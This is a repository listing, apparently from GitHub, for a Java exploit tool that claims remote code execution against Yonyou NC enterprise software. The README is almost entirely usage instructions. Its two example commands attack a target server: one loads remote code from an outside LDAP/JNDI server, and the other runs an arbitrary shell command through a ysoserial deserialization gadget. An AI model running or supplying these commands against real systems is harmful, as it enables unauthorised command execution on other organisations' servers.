https://github.com/OneSourceCat/YonyouNC-EXP
YonyouNC RCE
https://github.com/OneSourceCat/YonyouNC-EXP
Last synced: 4 months ago
JSON representation
YonyouNC RCE
- Host: GitHub
- URL: https://github.com/OneSourceCat/YonyouNC-EXP
- Owner: OneSourceCat
- License: mit
- Created: 2020-09-03T09:05:01.000Z (about 5 years ago)
- Default Branch: master
- Last Pushed: 2020-12-02T06:27:20.000Z (almost 5 years ago)
- Last Synced: 2024-11-21T14:38:38.451Z (12 months ago)
- Language: Java
- Homepage:
- Size: 11.7 KB
- Stars: 14
- Watchers: 2
- Forks: 2
- Open Issues: 2
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - OneSourceCat/YonyouNC-EXP - YonyouNC RCE (Java)
README
# YonyouNC-EXP
```
usage: Options
-c,--cmd Command you wanna execute remotely
-g,--gadget Ysoserial Gadgets
-h,--help Usage of this tool
-j,--jndiUrl JNDI Server URL
-m,--Exploit Method How to RCE the target, value: jndi/serial
-t,--target Exploit target
Example:
java -jar yongyouNC-Exp.jar -t http://1.1.1.1/ -m jndi -j ldap://2.2.2.2/Exp
java -jar yongyouNC-Exp.jar -t http://1.1.1.1/ -m serial -g CommonsCollections1 -c "ping -n 1 www.qq.com"
```